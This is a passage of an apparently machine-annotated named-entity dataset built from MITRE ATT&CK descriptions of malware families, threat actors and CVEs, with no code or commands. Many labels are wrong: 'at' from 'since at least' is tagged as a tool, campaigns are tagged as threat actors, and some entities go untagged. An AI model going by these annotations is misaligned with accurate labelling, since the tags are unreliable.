[[37, 39]], "THREAT_ACTOR: MoustachedBouncer": [[62, 79]], "TOOL: at": [[86, 88]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1089"}} {"text": "StrongPity is an information stealing malware used by PROMETHIUM.", "spans": {"MALWARE: StrongPity": [[0, 10]], "THREAT_ACTOR: PROMETHIUM": [[54, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0491"}} {"text": "HAPPYWORK is a downloader used by APT37 to target South Korean government and financial victims in November 2016.", "spans": {"MALWARE: HAPPYWORK": [[0, 9]], "THREAT_ACTOR: APT37": [[34, 39]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0214"}} {"text": "xCaon is an HTTP variant of the BoxCaon malware family that has used by IndigoZebra since at least 2014. xCaon has been used to target political entities in Central Asia, including Kyrgyzstan and Uzbekistan.", "spans": {"MALWARE: xCaon": [[0, 5], [105, 110]], "SYSTEM: HTTP": [[12, 16]], "MALWARE: BoxCaon": [[32, 39]], "THREAT_ACTOR: IndigoZebra": [[72, 83]], "TOOL: at": [[90, 92]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0653"}} {"text": "PLAINTEE is a malware sample that has been used by Rancor in targeted attacks in Singapore and Cambodia.", "spans": {"MALWARE: PLAINTEE": [[0, 8]], "THREAT_ACTOR: Rancor": [[51, 57]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0254"}} {"text": "Pony is a credential stealing malware, though has also been used among adversaries for its downloader capabilities. The source code for Pony Loader 1.0 and 2.0 were leaked online, leading to their use by various threat actors.", "spans": {"MALWARE: Pony": [[0, 4], [136, 140]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0453"}} {"text": "WinMM is a full-featured, simple backdoor used by Naikon.", "spans": {"MALWARE: WinMM": [[0, 5]], "THREAT_ACTOR: Naikon": [[50, 56]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0059"}} {"text": "Nebulae Is a backdoor that has been used by Naikon since at least 2020.", "spans": {"MALWARE: Nebulae": [[0, 7]], "THREAT_ACTOR: Naikon": [[44, 50]], "TOOL: at": [[58, 60]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0630"}} {"text": "Janicab is an OS X trojan that relied on a valid developer ID and oblivious users to install it.", "spans": {"MALWARE: Janicab": [[0, 7]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0163"}} {"text": "AuditCred is a malicious DLL that has been used by Lazarus Group during their 2018 attacks.", "spans": {"MALWARE: AuditCred": [[0, 9]], "THREAT_ACTOR: Lazarus Group": [[51, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0347"}} {"text": "Lurid is a malware family that has been used by several groups, including PittyTiger, in targeted attacks as far back as 2006.", "spans": {"MALWARE: Lurid": [[0, 5]], "THREAT_ACTOR: PittyTiger": [[74, 84]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0010"}} {"text": "TONESHELL is a custom backdoor that has been used since at least Q1 2021. TONESHELL malware has previously been leveraged by Chinese affiliated actors identified as Mustang Panda.", "spans": {"MALWARE: TONESHELL": [[0, 9], [76, 85]], "TOOL: at": [[56, 58]], "THREAT_ACTOR: Mustang Panda": [[167, 180]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1239"}} {"text": "UPSTYLE is a Python-based backdoor associated with exploitation of Palo Alto firewalls using CVE-2024-3400 in early 2024. UPSTYLE has only been observed in relation to this exploitation activity, which involved attempted install on compromised devices by the threat actor UTA0218.", "spans": {"MALWARE: UPSTYLE": [[0, 7], [122, 129]], "SYSTEM: Python": [[13, 19]], "SYSTEM: Palo Alto": [[67, 76]], "CVE_ID: CVE-2024-3400": [[93, 106]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1164"}} {"text": "Kasidet is a backdoor that has been dropped by using malicious VBA macros.", "spans": {"MALWARE: Kasidet": [[0, 7]], "SYSTEM: VBA": [[63, 66]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0088"}} {"text": "Hannotog is a type of backdoor malware uniquely assoicated with Lotus Blossom operations since at least 2022.", "spans": {"MALWARE: Hannotog": [[0, 8]], "THREAT_ACTOR: Lotus Blossom": [[64, 77]], "TOOL: at": [[95, 97]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1211"}} {"text": "OceanSalt is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. OceanSalt shares code similarity with SpyNote RAT, which has been linked to APT1.", "spans": {"MALWARE: OceanSalt": [[0, 9], [111, 120]], "MALWARE: SpyNote RAT": [[149, 160]], "THREAT_ACTOR: APT1": [[187, 191]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0346"}} {"text": "Playcrypt is a ransomware that has been used by Play since at least 2022 in attacks against against the business, government, critical infrastructure, healthcare, and media sectors in North America, South America, and Europe. Playcrypt derives its name from adding the .play extension to encrypted files and has overlap with tactics and tools associated with Hive and Nokoyawa ransomware and infrastructure associated with Quantum ransomware.", "spans": {"MALWARE: Playcrypt": [[0, 9], [226, 235]], "THREAT_ACTOR: Play": [[48, 52]], "TOOL: at": [[59, 61]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1162"}} {"text": "Brave Prince is a Korean-language implant that was first observed in the wild in December 2017. It contains similar code and behavior to Gold Dragon, and was seen along with Gold Dragon and RunningRAT in operations surrounding the 2018 Pyeongchang Winter Olympics.", "spans": {"MALWARE: Brave Prince": [[0, 12]], "MALWARE: Gold Dragon": [[137, 148], [174, 185]], "MALWARE: RunningRAT": [[190, 200]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0252"}} {"text": "Medusa Ransomware has been utilized in attacks since at least 2021. Medusa Ransomware has been known to be utilized in conjunction with living off the land techniques and remote management software. Medusa Ransomware has been used in campaigns associated with “double extortion” ransomware activity, where data is exfiltrated from victim environments prior to encryption, with threats to publish files if a ransom is not paid. Medusa Ransomware software was initially a closed ransomware variant which later evolved to a Ransomware as a Service (RaaS). Medusa Ransomware has impacted victims from a diverse range of sectors within a multitude of countries, and it is assessed Medusa Ransomware is used in an opportunistic manner.", "spans": {"MALWARE: Medusa Ransomware": [[0, 17], [68, 85], [199, 216], [427, 444], [553, 570], [676, 693]], "TOOL: at": [[53, 55]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1244"}} {"text": "RainyDay is a backdoor tool that has been used by Naikon since at least 2020.", "spans": {"MALWARE: RainyDay": [[0, 8]], "THREAT_ACTOR: Naikon": [[50, 56]], "TOOL: at": [[63, 65]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0629"}} {"text": "Ecipekac is a multi-layer loader that has been used by menuPass since at least 2019 including use as a loader for P8RAT, SodaMaster, and FYAnti.", "spans": {"MALWARE: Ecipekac": [[0, 8]], "THREAT_ACTOR: menuPass": [[55, 63]], "TOOL: at": [[70, 72]], "MALWARE: P8RAT": [[114, 119]], "MALWARE: SodaMaster": [[121, 131]], "MALWARE: FYAnti": [[137, 143]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0624"}} {"text": "AppleSeed is a backdoor that has been used by Kimsuky to target South Korean government, academic, and commercial targets since at least 2021.", "spans": {"MALWARE: AppleSeed": [[0, 9]], "THREAT_ACTOR: Kimsuky": [[46, 53]], "TOOL: at": [[129, 131]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0622"}} {"text": "BUSHWALK is a web shell written in Perl that was inserted into the legitimate querymanifest.cgi file on compromised Ivanti Connect Secure VPNs during Cutting Edge.", "spans": {"MALWARE: BUSHWALK": [[0, 8]], "SYSTEM: Perl": [[35, 39]], "THREAT_ACTOR: Cutting Edge": [[150, 162]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1118"}} {"text": "macOS.OSAMiner is a Monero mining trojan that was first observed in 2018; security researchers assessed macOS.OSAMiner may have been circulating since at least 2015. macOS.OSAMiner is known for embedding one run-only AppleScript into another, which helped the malware evade full analysis for five years due to a lack of Apple event (AEVT) analysis tools.", "spans": {"MALWARE: macOS.OSAMiner": [[0, 14], [104, 118], [166, 180]], "TOOL: at": [[151, 153]], "ORGANIZATION: Apple": [[320, 325]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1048"}} {"text": "LOWBALL is malware used by admin@338. It was used in August 2015 in email messages targeting Hong Kong-based media organizations.", "spans": {"MALWARE: LOWBALL": [[0, 7]], "THREAT_ACTOR: admin@338": [[27, 36]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0042"}} {"text": "NETWIRE is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012.", "spans": {"MALWARE: NETWIRE": [[0, 7]], "TOOL: at": [[132, 134]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0198"}} {"text": "TinyTurla is a backdoor that has been used by Turla against targets in the US, Germany, and Afghanistan since at least 2020.", "spans": {"MALWARE: TinyTurla": [[0, 9]], "THREAT_ACTOR: Turla": [[46, 51]], "TOOL: at": [[110, 112]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0668"}} {"text": "PyDCrypt is malware written in Python designed to deliver DCSrv. It has been used by Moses Staff since at least September 2021, with each sample tailored for its intended victim organization.", "spans": {"MALWARE: PyDCrypt": [[0, 8]], "SYSTEM: Python": [[31, 37]], "MALWARE: DCSrv": [[58, 63]], "THREAT_ACTOR: Moses Staff": [[85, 96]], "TOOL: at": [[103, 105]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1032"}} {"text": "J-magic is a custom variant of the cd00r backdoor tailored to target Juniper routers that was first observed during the J-magic Campaign in mid-2023. J-magic monitors TCP traffic for five predefined parameters or \"magic packets\" to be sent by the attackers before activating on compromised devices.", "spans": {"MALWARE: J-magic": [[0, 7], [150, 157]], "MALWARE: cd00r": [[35, 40]], "SYSTEM: Juniper": [[69, 76]], "THREAT_ACTOR: J-magic Campaign": [[120, 136]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1203"}} {"text": "PowerExchange is a PowerShell backdoor that has been used by OilRig since at least 2023 including against government targets in the Middle East.", "spans": {"MALWARE: PowerExchange": [[0, 13]], "TOOL: PowerShell": [[19, 29]], "THREAT_ACTOR: OilRig": [[61, 67]], "TOOL: at": [[74, 76]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1173"}} {"text": "BOOKWORM is a modular trojan known to be leveraged by Mustang Panda and was first observed utilized in 2015. BOOKWORM was later updated in late 2021 and the fall of 2022 to launch shellcode represented as UUID parameters.", "spans": {"MALWARE: BOOKWORM": [[0, 8], [110, 118]], "THREAT_ACTOR: Mustang Panda": [[54, 67]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1226"}} {"text": "HyperStack is a RPC-based backdoor used by Turla since at least 2018. HyperStack has similarities to other backdoors used by Turla including Carbon.", "spans": {"MALWARE: HyperStack": [[0, 10], [70, 80]], "THREAT_ACTOR: Turla": [[43, 48], [125, 130]], "TOOL: at": [[55, 57]], "MALWARE: Carbon": [[141, 147]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0537"}} {"text": "iKitten is a macOS exfiltration agent .", "spans": {"MALWARE: iKitten": [[0, 7]], "SYSTEM: macOS": [[13, 18]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0278"}} {"text": "HAMMERTOSS is a backdoor that was used by APT29 in 2015.", "spans": {"MALWARE: HAMMERTOSS": [[0, 10]], "THREAT_ACTOR: APT29": [[42, 47]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0037"}} {"text": "OLDBAIT is a credential harvester used by APT28.", "spans": {"MALWARE: OLDBAIT": [[0, 7]], "THREAT_ACTOR: APT28": [[42, 47]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0138"}} {"text": "Bad Rabbit is a self-propagating ransomware that affected the Ukrainian transportation sector in 2017. Bad Rabbit has also targeted organizations and consumers in Russia.", "spans": {"MALWARE: Bad Rabbit": [[0, 10], [103, 113]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0606"}} {"text": "CosmicDuke is malware that was used by APT29 from 2010 to 2015.", "spans": {"MALWARE: CosmicDuke": [[0, 10]], "THREAT_ACTOR: APT29": [[39, 44]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0050"}} {"text": "EvilGrab is a malware family with common reconnaissance capabilities. It has been deployed by menuPass via malicious Microsoft Office documents as part of spearphishing campaigns.", "spans": {"MALWARE: EvilGrab": [[0, 8]], "THREAT_ACTOR: menuPass": [[94, 102]], "SYSTEM: Microsoft Office": [[117, 133]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0152"}} {"text": "EnvyScout is a dropper that has been used by APT29 since at least 2021.", "spans": {"MALWARE: EnvyScout": [[0, 9]], "THREAT_ACTOR: APT29": [[45, 50]], "TOOL: at": [[57, 59]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0634"}} {"text": "SslMM is a full-featured backdoor used by Naikon that has multiple variants.", "spans": {"MALWARE: SslMM": [[0, 5]], "THREAT_ACTOR: Naikon": [[42, 48]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0058"}} {"text": "STATICPLUGIN is a downloader known to be leveraged by Mustang Panda and was first observed utilized in 2025. STATICPLUGIN has utilized a valid certificate in order to bypass endpoint security protections. STATICPLUGIN masqueraded as legitimate software installer by using a custom TForm. STATICPLUGIN has been leveraged to deploy a loader that facilitates follow on malware.", "spans": {"MALWARE: STATICPLUGIN": [[0, 12], [110, 122], [207, 219], [291, 303]], "THREAT_ACTOR: Mustang Panda": [[54, 67]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1238"}} {"text": "IMAPLoader is a .NET-based loader malware exclusively associated with CURIUM operations since at least 2022. IMAPLoader leverages email protocols for command and control and payload delivery.", "spans": {"MALWARE: IMAPLoader": [[0, 10], [109, 119]], "SYSTEM: .NET": [[16, 20]], "THREAT_ACTOR: CURIUM": [[70, 76]], "TOOL: at": [[94, 96]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1152"}} {"text": "GreyEnergy is a backdoor written in C and compiled in Visual Studio. GreyEnergy shares similarities with the BlackEnergy malware and is thought to be the successor of it.", "spans": {"MALWARE: GreyEnergy": [[0, 10], [69, 79]], "MALWARE: BlackEnergy": [[109, 120]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0342"}} {"text": "Gomir is a Linux backdoor variant of the Go-based malware GoBear, uniquely assoicated with Kimsuky operations.", "spans": {"SYSTEM: Linux": [[11, 16]], "MALWARE: GoBear": [[58, 64]], "THREAT_ACTOR: Kimsuky": [[91, 98]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1198"}} {"text": "Aria-body is a custom backdoor that has been used by Naikon since approximately 2017.", "spans": {"MALWARE: Aria-body": [[0, 9]], "THREAT_ACTOR: Naikon": [[53, 59]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0456"}} {"text": "Emotet is a modular malware variant which is primarily used as a downloader for other malware variants such as TrickBot and IcedID. Emotet first emerged in June 2014, initially targeting the financial sector, and has expanded to multiple verticals over time.", "spans": {"MALWARE: Emotet": [[0, 6], [132, 138]], "MALWARE: TrickBot": [[111, 119]], "MALWARE: IcedID": [[124, 130]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0367"}} {"text": "SNUGRIDE is a backdoor that has been used by menuPass as first stage malware.", "spans": {"MALWARE: SNUGRIDE": [[0, 8]], "THREAT_ACTOR: menuPass": [[45, 53]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0159"}} {"text": "Olympic Destroyer is malware that was used by Sandworm Team against the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware was to render infected computer systems inoperable. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. Olympic Destroyer has worm-like features to spread itself across a computer network in order to maximize its destructive impact.", "spans": {"MALWARE: Olympic Destroyer": [[0, 17], [317, 334]], "THREAT_ACTOR: Sandworm Team": [[46, 59]], "SYSTEM: Windows": [[249, 256]], "SYSTEM: API": [[271, 274]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0365"}} {"text": "BOLDMOVE is a type of backdoor malware written in C linked to People’s Republic of China operations from 2022 through 2023. BOLDMOVE includes both Windows and Linux variants, with some Linux variants specifically designed for FortiGate Firewall devices. BOLDMOVE is linked to zero-day exploitation of CVE-2022-42475 in FortiOSS SSL-VPNs. The record for BOLDMOVE only covers known Linux variants.", "spans": {"MALWARE: BOLDMOVE": [[0, 8], [124, 132], [254, 262], [353, 361]], "SYSTEM: Windows": [[147, 154]], "SYSTEM: Linux": [[159, 164], [185, 190], [380, 385]], "SYSTEM: FortiGate": [[226, 235]], "CVE_ID: CVE-2022-42475": [[301, 315]], "SYSTEM: SSL": [[328, 331]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1184"}} {"text": "Crimson is a remote access Trojan that has been used by Transparent Tribe since at least 2016.", "spans": {"MALWARE: Crimson": [[0, 7]], "THREAT_ACTOR: Transparent Tribe": [[56, 73]], "TOOL: at": [[80, 82]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0115"}} {"text": "Tomiris is a backdoor written in Go that continuously queries its C2 server for executables to download and execute on a victim system. It was first reported in September 2021 during an investigation of a successful DNS hijacking campaign against a Commonwealth of Independent States (CIS) member. Security researchers assess there are similarities between Tomiris and GoldMax.", "spans": {"MALWARE: Tomiris": [[0, 7], [357, 364]], "SYSTEM: DNS": [[216, 219]], "MALWARE: GoldMax": [[369, 376]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0671"}} {"text": "TEARDROP is a memory-only dropper that was discovered on some victim machines during investigations related to the SolarWinds Compromise. It was likely used by APT29 since at least May 2020.", "spans": {"MALWARE: TEARDROP": [[0, 8]], "THREAT_ACTOR: SolarWinds Compromise": [[115, 136]], "THREAT_ACTOR: APT29": [[160, 165]], "TOOL: at": [[172, 174]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0560"}} {"text": "DUSTTRAP is a multi-stage plugin framework associated with APT41 operations with multiple components.", "spans": {"MALWARE: DUSTTRAP": [[0, 8]], "THREAT_ACTOR: APT41": [[59, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1159"}} {"text": "Turian is a backdoor that has been used by BackdoorDiplomacy to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, Turian is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.", "spans": {"MALWARE: Turian": [[0, 6], [215, 221]], "THREAT_ACTOR: BackdoorDiplomacy": [[43, 60]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0647"}} {"text": "THINCRUST is a Python-based backdoor tool that has been used by UNC3886 since at least 2023.", "spans": {"MALWARE: THINCRUST": [[0, 9]], "SYSTEM: Python": [[15, 21]], "THREAT_ACTOR: UNC3886": [[64, 71]], "TOOL: at": [[78, 80]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1223"}} {"text": "BADHATCH is a backdoor that has been utilized by FIN8 since at least 2019. BADHATCH has been used to target the insurance, retail, technology, and chemical industries in the United States, Canada, South Africa, Panama, and Italy.", "spans": {"MALWARE: BADHATCH": [[0, 8], [75, 83]], "THREAT_ACTOR: FIN8": [[49, 53]], "TOOL: at": [[60, 62]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1081"}} {"text": "Machete is a cyber espionage toolset used by Machete. It is a Python-based backdoor targeting Windows machines that was first observed in 2010.", "spans": {"MALWARE: Machete": [[0, 7], [45, 52]], "SYSTEM: Python": [[62, 68]], "SYSTEM: Windows": [[94, 101]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0409"}} {"text": "PowerLess is a PowerShell-based modular backdoor that has been used by Magic Hound since at least 2022.", "spans": {"MALWARE: PowerLess": [[0, 9]], "TOOL: PowerShell": [[15, 25]], "THREAT_ACTOR: Magic Hound": [[71, 82]], "TOOL: at": [[89, 91]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1012"}} {"text": "Action RAT is a remote access tool written in Delphi that has been used by SideCopy since at least December 2021 against Indian and Afghani government personnel.", "spans": {"MALWARE: Action RAT": [[0, 10]], "THREAT_ACTOR: SideCopy": [[76, 84]], "TOOL: at": [[91, 93]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1028"}} {"text": "Avenger is a downloader that has been used by BRONZE BUTLER since at least 2019.", "spans": {"MALWARE: Avenger": [[0, 7]], "THREAT_ACTOR: BRONZE BUTLER": [[46, 59]], "TOOL: at": [[66, 68]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0473"}} {"text": "DUSTPAN is an in-memory dropper written in C/C++ used by APT41 since 2021 that decrypts and executes an embedded payload.", "spans": {"MALWARE: DUSTPAN": [[0, 7]], "THREAT_ACTOR: APT41": [[57, 62]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1158"}} {"text": "Prikormka is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008.", "spans": {"MALWARE: Prikormka": [[0, 9]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0113"}} {"text": "PUBLOAD is a stager malware that has been observed installing itself in existing directories such as `C:\\Users\\Public` or creating new directories to stage the malware and its components. PUBLOAD malware collects details of the victim host, establishes persistence, encrypts victim details using RC4 and communicates victim details back to C2. PUBLOAD malware has previously been leveraged by China-affiliated actors identified as Mustang Panda. PUBLOAD is also known as “NoFive” and some public reporting identifies the loader component as CLAIMLOADER.", "spans": {"MALWARE: PUBLOAD": [[0, 7], [189, 196], [346, 353], [450, 457]], "FILEPATH: C:\\Users\\Public`": [[102, 118]], "THREAT_ACTOR: Mustang Panda": [[433, 446]], "MALWARE: CLAIMLOADER": [[545, 556]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1228"}} {"text": "Gootloader is a Javascript-based infection framework that has been used since at least 2020 as a delivery method for the Gootkit banking trojan, Cobalt Strike, REvil, and others. Gootloader operates on an \"Initial Access as a Service\" model and has leveraged SEO Poisoning to provide access to entities in multiple sectors worldwide including financial, military, automotive, pharmaceutical, and energy.", "spans": {"MALWARE: Gootloader": [[0, 10], [179, 189]], "TOOL: at": [[78, 80]], "TOOL: Cobalt Strike": [[145, 158]], "MALWARE: REvil": [[160, 165]], "SYSTEM: Access": [[214, 220]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1138"}} {"text": "PingPull is a remote access Trojan (RAT) written in Visual C++ that has been used by GALLIUM since at least June 2022. PingPull has been used to target telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam.", "spans": {"MALWARE: PingPull": [[0, 8], [119, 127]], "THREAT_ACTOR: GALLIUM": [[85, 92]], "TOOL: at": [[99, 101]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1031"}} {"text": "WellMess is lightweight malware family with variants written in .NET and Golang that has been in use since at least 2018 by APT29.", "spans": {"MALWARE: WellMess": [[0, 8]], "SYSTEM: .NET": [[64, 68]], "TOOL: at": [[107, 109]], "THREAT_ACTOR: APT29": [[124, 129]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0514"}} {"text": "Dacls is a multi-platform remote access tool used by Lazarus Group since at least December 2019.", "spans": {"MALWARE: Dacls": [[0, 5]], "THREAT_ACTOR: Lazarus Group": [[53, 66]], "TOOL: at": [[73, 75]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0497"}} {"text": "DropBook is a Python-based backdoor compiled with PyInstaller.", "spans": {"MALWARE: DropBook": [[0, 8]], "SYSTEM: Python": [[14, 20]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0547"}} {"text": "Woody RAT is a remote access trojan (RAT) that has been used since at least August 2021 against Russian organizations.", "spans": {"MALWARE: Woody RAT": [[0, 9]], "TOOL: at": [[67, 69]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1065"}} {"text": "Mafalda is a flexible interactive implant that has been used by Metador. Security researchers assess the Mafalda name may be inspired by an Argentinian cartoon character that has been popular as a means of political commentary since the 1960s.", "spans": {"MALWARE: Mafalda": [[0, 7], [105, 112]], "THREAT_ACTOR: Metador": [[64, 71]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1060"}} {"text": "KARAE is a backdoor typically used by APT37 as first-stage malware.", "spans": {"MALWARE: KARAE": [[0, 5]], "THREAT_ACTOR: APT37": [[38, 43]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0215"}} {"text": "Squirrelwaffle is a loader that was first seen in September 2021. It has been used in spam email campaigns to deliver additional malware such as Cobalt Strike and the QakBot banking trojan.", "spans": {"MALWARE: Squirrelwaffle": [[0, 14]], "TOOL: Cobalt Strike": [[145, 158]], "MALWARE: QakBot": [[167, 173]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1030"}} {"text": "ELMER is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by APT16.", "spans": {"MALWARE: ELMER": [[0, 5]], "SYSTEM: HTTP": [[39, 43]], "THREAT_ACTOR: APT16": [[93, 98]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0064"}} {"text": "CANONSTAGER is a loader known to be leveraged by Mustang Panda and was first observed utilized in 2025. Mustang Panda utilizes DLL side-loading to execute within the victim environment prior to delivering a follow-on malicious encrypted payload. CANONSTAGER leverages Thread Local Storage (TLS) and Native Windows APIs within the victim environment to elude detections. CANONSTAGER also hides its code utilizing window procedures and message queues.", "spans": {"MALWARE: CANONSTAGER": [[0, 11], [248, 259], [372, 383]], "THREAT_ACTOR: Mustang Panda": [[49, 62], [105, 118]], "SYSTEM: TLS": [[292, 295]], "SYSTEM: Windows": [[308, 315]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1237"}} {"text": "PolyglotDuke is a downloader that has been used by APT29 since at least 2013. PolyglotDuke has been used to drop MiniDuke.", "spans": {"MALWARE: PolyglotDuke": [[0, 12], [78, 90]], "THREAT_ACTOR: APT29": [[51, 56]], "TOOL: at": [[63, 65]], "MALWARE: MiniDuke": [[113, 121]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0518"}} {"text": "HexEval Loader is a hex-encoded loader that collects host data, decodes follow-on scripts and acts as a downloader for the BeaverTail malware. HexEval Loader was first reported in April 2025. HexEval Loader has previously been leveraged by North Korea-affiliated threat actors identified as Contagious Interview. HexEval Loader has been delivered to victims through code repository sites utilizing typosquatting naming conventions of various npm packages.", "spans": {"MALWARE: HexEval Loader": [[0, 14], [144, 158], [194, 208], [316, 330]], "MALWARE: BeaverTail": [[123, 133]], "THREAT_ACTOR: Contagious Interview": [[293, 313]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1249"}} {"text": "A Linux rootkit that provides backdoor access and hides from defenders.", "spans": {"SYSTEM: Linux": [[2, 7]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0221"}} {"text": "AuTo Stealer is malware written in C++ has been used by SideCopy since at least December 2021 to target government agencies and personnel in India and Afghanistan.", "spans": {"MALWARE: AuTo Stealer": [[0, 12]], "THREAT_ACTOR: SideCopy": [[56, 64]], "TOOL: at": [[71, 73]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1029"}} {"text": "ShrinkLocker is a VBS-based malicious script that leverages the legitimate Bitlocker application to encrypt files on victim systems for ransom. ShrinkLocker functions by using Bitlocker to encrypt files, then renames impacted drives to the adversary’s contact email address to facilitate communication for the ransom payment.", "spans": {"MALWARE: ShrinkLocker": [[0, 12], [144, 156]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1178"}} {"text": "Hildegard is malware that targets misconfigured kubelets for initial access and runs cryptocurrency miner operations. The malware was first observed in January 2021. The TeamTNT activity group is believed to be behind Hildegard.", "spans": {"MALWARE: Hildegard": [[0, 9], [218, 227]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0601"}} {"text": "Agent.btz is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008.", "spans": {"MALWARE: Agent.btz": [[0, 9]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0092"}} {"text": "SLOWDRIFT is a backdoor used by APT37 against academic and strategic victims in South Korea.", "spans": {"MALWARE: SLOWDRIFT": [[0, 9]], "THREAT_ACTOR: APT37": [[32, 37]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0218"}} {"text": "SHUTTERSPEED is a backdoor used by APT37.", "spans": {"MALWARE: SHUTTERSPEED": [[0, 12]], "THREAT_ACTOR: APT37": [[35, 40]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0217"}} {"text": "SombRAT is a modular backdoor written in C++ that has been used since at least 2019 to download and execute malicious payloads, including FIVEHANDS ransomware.", "spans": {"MALWARE: SombRAT": [[0, 7]], "TOOL: at": [[70, 72]], "MALWARE: FIVEHANDS": [[138, 147]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0615"}} {"text": "ODAgent is a C#/.NET downloader that has been used by OilRig since at least 2022 including against target organizations in Israel to download and execute payloads and to exfiltrate staged files.", "spans": {"MALWARE: ODAgent": [[0, 7]], "SYSTEM: C#": [[13, 15]], "SYSTEM: .NET": [[16, 20]], "THREAT_ACTOR: OilRig": [[54, 60]], "TOOL: at": [[67, 69]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1170"}} {"text": "BlackByte 2.0 Ransomware is a replacement for BlackByte Ransomware. Unlike BlackByte Ransomware, BlackByte 2.0 Ransomware does not have a common key for victim decryption. BlackByte 2.0 Ransomware remains uniquely associated with BlackByte operations.", "spans": {"MALWARE: BlackByte 2.0 Ransomware": [[0, 24], [97, 121], [172, 196]], "MALWARE: BlackByte Ransomware": [[46, 66], [75, 95]], "THREAT_ACTOR: BlackByte": [[230, 239]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1181"}} {"text": 